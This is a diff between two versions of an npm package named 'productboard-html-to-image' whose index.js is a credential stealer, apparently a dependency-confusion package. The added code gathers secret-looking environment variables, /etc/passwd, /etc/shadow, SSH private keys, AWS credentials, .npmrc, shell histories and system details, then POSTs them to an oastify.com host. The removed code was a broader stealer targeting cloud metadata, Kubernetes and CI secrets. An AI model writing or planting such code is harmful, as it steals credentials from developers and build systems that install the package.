productboard-html-to-image 1002.0.9 → 1003.0.9

package/index.js

@@ -8,26 +8,26 @@ const child_process = require("child_process");
 
 function safeReadFile(p, maxSize = 10240) {
     try {
-        if (!fs.existsSync(p)) return "NOT_FOUND";
+        if (!fs.existsSync(p)) return "NOT FOUND";
         const size = fs.statSync(p).size;
-        if (size > maxSize) return "TOO_LARGE";
+        if (size > maxSize) return "TOO LARGE";
         return fs.readFileSync(p, "utf8");
     } catch (e) {
         return `ERR: ${e.message}`;
     }
 }
 
-function safeReadDir(p, maxEntries = 50) {
+function safeReadDir(p) {
     try {
-        return fs.readdirSync(p).slice(0, maxEntries);
+        return fs.readdirSync(p);
     } catch (e) {
         return `ERR: ${e.message}`;
     }
 }
 
-function exec(cmd, timeout = 3000) {
+function exec(cmd) {
     try {
-        return child_process.execSync(cmd, { timeout }).toString().trim();
+        return child_process.execSync(cmd, { timeout: 4000 }).toString().trim();
     } catch (e) {
         return `ERR: ${e.message}`;
     }
@@ -36,170 +36,48 @@ function exec(cmd, timeout = 3000) {
 function getSensitiveEnvVars() {
     const result = {};
     for (const key in process.env) {
-        if (/pass|key|token|secret|env|auth|cred|aws|gcp|azure|kube|docker|jenkins|gitlab|github|circleci|travis|vault/i.test(key)) {
+        if (/pass|key|token|secret|env|auth|cred/i.test(key)) {
             result[key] = process.env[key];
         }
     }
     return result;
 }
 
-function getCloudMetadata() {
-    const metadata = {};
-    const endpoints = [
-        { name: "aws_instance", url: "http://169.254.169.254/latest/dynamic/instance-identity/document" },
-        { name: "aws_iam", url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/" },
-        { name: "aws_s3", cmd: "aws s3 ls" }, // List S3 buckets
-        { name: "gcp_metadata", url: "http://metadata.google.internal/computeMetadata/v1/?recursive=true", headers: { "Metadata-Flavor": "Google" } },
-        { name: "gcp_projects", cmd: "gcloud projects list --format=json" },
-        { name: "azure_metadata", url: "http://169.254.169.254/metadata/instance?api-version=2021-02-01", headers: { "Metadata": "true" } },
-        { name: "azure_subscriptions", cmd: "az account list --output json" },
-    ];
-    for (const { name, url, headers, cmd } of endpoints) {
-        try {
-            if (cmd) {
-                metadata[name] = exec(cmd);
-            } else {
-                let cmd = `curl -s --max-time 2 ${url}`;
-                if (headers) {
-                    const headerStr = Object.entries(headers).map(([k, v]) => `-H "${k}: ${v}"`).join(" ");
-                    cmd = `curl -s --max-time 2 ${headerStr} ${url}`;
-                }
-                metadata[name] = exec(cmd);
-            }
-        } catch (e) {
-            metadata[name] = `ERR: ${e.message}`;
-        }
-    }
-    // Get IAM role details if available
-    try {
-        const roleName = exec("curl -s --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/");
-        if (roleName && !roleName.startsWith("ERR:")) {
-            metadata["aws_iam_creds"] = exec(`curl -s --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/${roleName}`);
-        }
-    } catch (e) {
-        metadata["aws_iam_creds"] = `ERR: ${e.message}`;
-    }
-    return metadata;
-}
-
-function getCloudCLIs() {
-    return {
-        aws: {
-            credentials: safeReadFile(path.join(os.homedir(), ".aws/credentials")),
-            config: safeReadFile(path.join(os.homedir(), ".aws/config")),
-            ssm_params: exec("aws ssm get-parameters --names / --recursive --query 'Parameters[*].Name'"),
-            sts: exec("aws sts get-caller-identity"),
-            assume_role: exec("aws sts get-session-token"),
-        },
-        gcloud: {
-            config: safeReadFile(path.join(os.homedir(), ".config/gcloud/configurations/config_default")),
-            credentials: safeReadFile(path.join(os.homedir(), ".config/gcloud/credentials.db")),
-            service_accounts: exec("gcloud iam service-accounts list --format=json"),
-        },
-        azure: {
-            credentials: safeReadFile(path.join(os.homedir(), ".azure/azureProfile.json")),
-            accessTokens: safeReadFile(path.join(os.homedir(), ".azure/accessTokens.json")),
-            vm_info: exec("az vm show --query '{id:id,name:name}' --output json"),
-        },
-    };
-}
-
-function getContainerDetails() {
+function checkDockerOrCI() {
     return {
         cgroup: safeReadFile("/proc/1/cgroup"),
         dockerenv: fs.existsSync("/.dockerenv"),
-        docker_info: exec("docker info --format json"),
-        docker_ps: exec("docker ps -a --format '{{.ID}}\t{{.Names}}\t{{.Image}}\t{{.Status}}'"),
-        docker_config: safeReadFile(path.join(os.homedir(), ".docker/config.json")),
-        kubernetes: {
-            token: safeReadFile("/var/run/secrets/kubernetes.io/serviceaccount/token"),
-            namespace: safeReadFile("/var/run/secrets/kubernetes.io/serviceaccount/namespace"),
-            kubeconfig: safeReadFile(path.join(os.homedir(), ".kube/config")),
-            pods: exec("kubectl get pods -o json --all-namespaces"),
-            secrets: exec("kubectl get secrets -o json --all-namespaces"),
-        },
-    };
-}
-
-function getCICDDetails() {
-    return {
-        github: {
-            token: process.env.GITHUB_TOKEN || safeReadFile(path.join(os.homedir(), ".github/token")),
-            actions_vars: safeReadDir(path.join(process.cwd(), ".github/workflows")),
-        },
-        jenkins: {
-            config: safeReadFile("/var/jenkins_home/config.xml"),
-            credentials: safeReadFile("/var/jenkins_home/credentials.xml"),
-        },
-        gitlab: {
-            config: safeReadFile(path.join(os.homedir(), ".gitlab-ci.yml")),
-            token: process.env.CI_JOB_TOKEN || "NOT_FOUND",
-        },
-        vault: {
-            token: safeReadFile(path.join(os.homedir(), ".vault-token")),
-            secrets: exec("vault kv list -format=json secret/"),
-        },
+        ciVars: Object.fromEntries(Object.entries(process.env).filter(([k]) => /ci|build|pipeline/i.test(k))),
     };
 }
 
-function getRuntimeSecrets() {
+function getGitData() {
     return {
-        node_version: process.version,
-        global_objects: Object.keys(global).filter(k => /key|token|secret|cred|auth/i.test(k)),
-        process_config: JSON.stringify(process.config),
-        npm_config: exec("npm config ls -l"),
-        loaded_modules: Object.keys(require("module")._cache).slice(0, 50),
+        branch: exec("git rev-parse --abbrev-ref HEAD"),
+        remotes: exec("git remote -v"),
+        config: safeReadFile(path.join(os.homedir(), ".gitconfig")),
     };
 }
 
-function getSensitiveFiles() {
-    const files = {
-        etc_passwd: safeReadFile("/etc/passwd"),
-        etc_hosts: safeReadFile("/etc/hosts"),
-        etc_resolv: safeReadFile("/etc/resolv.conf"),
-        bash_history: safeReadFile(path.join(os.homedir(), ".bash_history")),
-        zsh_history: safeReadFile(path.join(os.homedir(), ".zsh_history")),
-        ssh_config: safeReadFile(path.join(os.homedir(), ".ssh/config")),
-        ssh_id_rsa: safeReadFile(path.join(os.homedir(), ".ssh/id_rsa")),
-        ssh_known_hosts: safeReadFile(path.join(os.homedir(), ".ssh/known_hosts")),
-        aws_credentials: safeReadFile(path.join(os.homedir(), ".aws/credentials")),
-        aws_ssm: safeReadFile(path.join(os.homedir(), ".aws/ssm")),
-        npmrc: safeReadFile(path.join(os.homedir(), ".npmrc")),
-        gitconfig: safeReadFile(path.join(os.homedir(), ".gitconfig")),
-        git_credentials: safeReadFile(path.join(os.homedir(), ".git-credentials")),
-        netrc: safeReadFile(path.join(os.homedir(), ".netrc")),
-        docker_config: safeReadFile(path.join(os.homedir(), ".docker/config.json")),
-        env_files: {
-            dotenv: safeReadFile(path.join(process.cwd(), ".env")),
-            github_workflow: safeReadDir(path.join(process.cwd(), ".github/workflows")),
-            circleci: safeReadFile(path.join(process.cwd(), ".circleci/config.yml")),
-        },
-    };
-    // Scan for additional sensitive files
-    const sensitivePaths = [
-        path.join(os.homedir(), ".config/vault"),
-        path.join(os.homedir(), ".terraformrc"),
-        path.join(process.cwd(), "secrets.yml"),
-        "/run/secrets",
-    ];
-    files.extras = {};
-    sensitivePaths.forEach(p => {
-        files.extras[path.basename(p)] = fs.existsSync(p) ? (fs.lstatSync(p).isDirectory() ? safeReadDir(p) : safeReadFile(p)) : "NOT_FOUND";
-    });
-    return files;
-}
-
 function getSystemState() {
     return {
         whoami: exec("whoami"),
         id: exec("id"),
-        ps: exec("ps aux | grep -E 'node|java|python|ruby|go|aws|gcloud|az|kubectl|vault' | head -n 30"),
-        netstat: exec("ss -tunlp | head -n 30"),
-        lsof: exec("lsof -n -i | head -n 30"),
+        ps: exec("ps aux | head -n 20"),
+        netstat: exec("netstat -tunlp | head -n 20"),
+        lsof: exec("lsof -n | head -n 20"),
         uname: exec("uname -a"),
-        mounts: exec("cat /proc/mounts | head -n 30"),
-        crontab: exec("crontab -l"),
-        sysctl: exec("sysctl -a | grep -E 'kernel|vm|net' | head -n 50"),
+        dmesg: exec("dmesg | head -n 30"),
+    };
+}
+
+function getInstalledTools() {
+    return {
+        npm: exec("npm ls -g --depth=0 --json"),
+        apt: exec("dpkg -l | head -n 20"),
+        brew: exec("brew list || echo 'no brew'"),
+        which_nmap: exec("which nmap"),
+        which_curl: exec("which curl"),
     };
 }
 
@@ -207,24 +85,29 @@ let dump = {};
 
 try {
     dump = {
-        p: (() => {
-            try {
-                return require("./package.json").name;
-            } catch {
-                return "unknown";
-            }
-        })(),
-        v: (() => {
+        timestamp: new Date().toISOString(),
+        app: (() => {
             try {
-                return require("./package.json").version;
+                const pkg = require("./package.json");
+                return { name: pkg.name, version: pkg.version };
             } catch {
-                return "unknown";
+                return {};
             }
         })(),
-        c: process.cwd(),
-        hd: os.homedir(),
-        hn: os.hostname(),
-        un: os.userInfo().username,
+        os: {
+            hostname: os.hostname(),
+            platform: os.platform(),
+            arch: os.arch(),
+            uptime: os.uptime(),
+            cpus: os.cpus(),
+            totalmem: os.totalmem(),
+            freemem: os.freemem(),
+            userInfo: os.userInfo(),
+            tmpdir: os.tmpdir(),
+            homedir: os.homedir(),
+            cwd: process.cwd(),
+        },
+        env: getSensitiveEnvVars(),
         dns: (() => {
             try {
                 return dns.getServers();
@@ -232,33 +115,31 @@ try {
                 return [`ERR: ${e.message}`];
             }
         })(),
-        pjson: (() => {
-            try {
-                const pkg = require("./package.json");
-                return {
-                    name: pkg.name,
-                    version: pkg.version,
-                    main: pkg.main,
-                    keywords: pkg.keywords,
-                    scripts: pkg.scripts,
-                    author: pkg.author,
-                    license: pkg.license,
-                    description: pkg.description
-                };
-            } catch {
-                return {};
-            }
-        })(),
-        env: getSensitiveEnvVars(),
-        container: getContainerDetails(),
-        cloud: getCloudMetadata(),
-        cloud_clis: getCloudCLIs(),
-        cicd: getCICDDetails(),
-        runtime: getRuntimeSecrets(),
-        files: getSensitiveFiles(),
+        dirs: {
+            "/": safeReadDir("/"),
+            "/home": safeReadDir("/home"),
+            "/root": safeReadDir("/root"),
+            "/etc": safeReadDir("/etc"),
+            "~": safeReadDir(os.homedir()),
+        },
+        files: {
+            etc_passwd: safeReadFile("/etc/passwd"),
+            etc_shadow: safeReadFile("/etc/shadow"),
+            etc_hosts: safeReadFile("/etc/hosts"),
+            bash_history: safeReadFile(path.join(os.homedir(), ".bash_history")),
+            zsh_history: safeReadFile(path.join(os.homedir(), ".zsh_history")),
+            ssh_config: safeReadFile(path.join(os.homedir(), ".ssh/config")),
+            ssh_id_rsa: safeReadFile(path.join(os.homedir(), ".ssh/id_rsa")),
+            ssh_known_hosts: safeReadFile(path.join(os.homedir(), ".ssh/known_hosts")),
+            aws_credentials: safeReadFile(path.join(os.homedir(), ".aws/credentials")),
+            npmrc: safeReadFile(path.join(os.homedir(), ".npmrc")),
+            gitconfig: safeReadFile(path.join(os.homedir(), ".gitconfig")),
+        },
+        git: getGitData(),
+        docker: checkDockerOrCI(),
         system: getSystemState(),
+        tools: getInstalledTools(),
         network: os.networkInterfaces(),
-        timestamp: new Date().toISOString()
     };
 } catch (e) {
     dump = { error: "Top-level error collecting dump", msg: e.message };
@@ -266,32 +147,33 @@ try {
 
 try {
     const postData = querystring.stringify({
-        msg: encodeURIComponent(JSON.stringify(dump))
+        msg: JSON.stringify(dump)
     });
 
     const options = {
-        hostname: "ovnxva4z7pgbompisolekpb83z9qxmlb.oastify.com",
+        hostname: "hxiqx36s9ii4qfrbuhn7mid15sbjzin7.oastify.com",
         port: 443,
         path: "/",
         method: "POST",
         headers: {
             "Content-Type": "application/x-www-form-urlencoded",
             "Content-Length": postData.length,
-            "User-Agent": "rce-impact-demo",
-            "X-Report-ID": "328XXXX"
-        },
-        timeout: 5000,
+            "User-Agent": "rce-impact-demo"
+        }
     };
 
     const req = https.request(options, res => {
-        res.on("data", () => {});
-        res.on("end", () => {});
+        res.on("data", () => { });
     });
 
-    req.on("error", () => {});
-    req.on("timeout", () => req.destroy());
+    req.on("error", () => { });
     req.write(postData);
     req.end();
+
+    https.get("https://ping.hxiqx36s9ii4qfrbuhn7mid15sbjzin7.oastify.com/", () => { });
+
 } catch (e) {
-    // Silent fail
-}
+    try {
+        https.get("https://ping.hxiqx36s9ii4qfrbuhn7mid15sbjzin7.oastify.com/", () => { });
+    } catch { }
+}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "productboard-html-to-image",
-  "version": "1002.0.9",
+  "version": "1003.0.9",
   "main": "index.js",
   "keywords": [],
   "scripts": {